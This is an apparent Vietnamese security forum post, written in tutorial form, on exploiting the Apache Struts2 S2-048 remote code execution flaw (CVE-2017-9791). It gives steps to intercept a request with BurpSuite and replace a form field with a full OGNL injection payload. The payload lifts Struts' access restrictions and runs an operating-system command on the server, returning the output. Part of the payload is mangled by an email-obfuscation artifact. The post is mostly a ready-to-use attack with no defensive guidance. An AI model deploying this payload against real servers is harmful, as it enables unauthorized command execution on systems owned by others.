DDos
VIP Members
- 
							
							22/10/2013
						
- 
							
							525
						
- 
							
							2.191 bài viết
						
								CVE-2017-9791: Apache Struts2 (S2-048) remote code execution vulnerability
							
						
						
							Trong bài viết này mình sẽ hướng dẫn các bạn khai thác lỗ hổng remote code trong Apache Struts2.
Thông tin về lỗ hổng CVE-2017-9791, các bạn có thể tham khảo tại đây.
Demo
	
		
	
			
			Thông tin về lỗ hổng CVE-2017-9791, các bạn có thể tham khảo tại đây.
- Tìm kiếm struts1 intergeration trên hệ thống apache server.
   
- Truy cập vào đường dẫn, như hình dưới
   
- Sử dụng BurpSuite để chặn và thay đổi POST request
   
- Thay đổi giá trị name bằng payload
 
 %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 
   
 
 
 
 
 
 
 
Demo
 
 
		